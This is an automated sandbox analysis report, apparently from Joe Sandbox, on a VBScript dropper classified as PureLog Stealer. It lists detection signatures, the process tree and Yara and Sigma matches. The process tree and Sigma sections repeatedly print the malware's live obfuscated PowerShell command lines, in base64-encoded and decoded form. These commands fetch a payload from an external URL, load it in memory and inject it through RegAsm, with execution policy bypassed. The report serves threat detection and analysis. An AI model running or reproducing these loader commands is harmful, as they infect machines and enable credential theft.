Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
aK7smea2Vv.vbs

Overview

General Information

Sample name:aK7smea2Vv.vbs
renamed because original name is a hash value
Original sample name:5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903.vbs
Analysis ID:1523831
MD5:1c640c5256d9b20ca3693754dadea139
SHA1:025616236d051812117c1b2e482fb715f0e1cc94
SHA256:5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903
Tags:BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: Powershell Download and Execute IEX
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected PureLog Stealer
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 7384 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 7472 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7612 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
    00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
      Process Memory Space: powershell.exe PID: 7472INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
      • 0x17ab9:$b3: ::UTF8.GetString(
      • 0x18043:$b3: ::UTF8.GetString(
      • 0x18f4b:$b3: ::UTF8.GetString(
      • 0x19622:$b3: ::UTF8.GetString(
      • 0x19ebe:$b3: ::UTF8.GetString(
      • 0x1a5e0:$b3: ::UTF8.GetString(
      • 0x1addc:$b3: ::UTF8.GetString(
      • 0x1b6e9:$b3: ::UTF8.GetString(
      • 0x1e1da:$b3: ::UTF8.GetString(
      • 0x1e75c:$b3: ::UTF8.GetString(
      • 0x20e7c:$b3: ::UTF8.GetString(
      • 0x20f29:$b3: ::UTF8.GetString(
      • 0x21482:$b3: ::UTF8.GetString(
      • 0x4617e:$b3: ::UTF8.GetString(
      • 0x6498d:$b3: ::UTF8.GetString(
      • 0x709a7:$b3: ::UTF8.GetString(
      • 0x70f30:$b3: ::UTF8.GetString(
      • 0x716a0:$b3: ::UTF8.GetString(
      • 0x71ded:$b3: ::UTF8.GetString(
      • 0x8943a:$b3: ::UTF8.GetString(
      • 0x899bc:$b3: ::UTF8.GetString(
      Process Memory Space: powershell.exe PID: 7612INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
      • 0xc30266:$b2: ::FromBase64String(
      • 0xc31878:$b2: ::FromBase64String(
      • 0x97ade3:$s1: -join
      • 0x987a50:$s1: -join
      • 0x9ca880:$s1: -join
      • 0x9d7b01:$s1: -join
      • 0x9dafc3:$s1: -join
      • 0x9db65d:$s1: -join
      • 0x9dd159:$s1: -join
      • 0x9df3ad:$s1: -join
      • 0x9dfbd4:$s1: -join
      • 0x9e042f:$s1: -join
      • 0x9e0b6a:$s1: -join
      • 0x9e0b9c:$s1: -join
      • 0x9e0be4:$s1: -join
      • 0x9e0c03:$s1: -join
      • 0x9e1454:$s1: -join
      • 0x9e15d0:$s1: -join
      • 0x9e1648:$s1: -join
      • 0x9e16db:$s1: -join
      • 0x9e1941:$s1: -join

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      4.2.powershell.exe.25190e2f628.0.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
        4.2.powershell.exe.25190e2f628.0.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          4.2.powershell.exe.251ee1e0000.1.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            4.2.powershell.exe.251ee1e0000.1.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security

              Other

              SourceRuleDescriptionAuthorStrings
              amsi64_7612.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Base64 Encoded PowerShell Command Detected
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc
                Sigma detected: Potential PowerShell Command Line Obfuscation
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0U
                Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0U
                Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", ProcessId: 7384, ProcessName: wscript.exe
                Sigma detected: Change PowerShell Policies to an Insecure Level
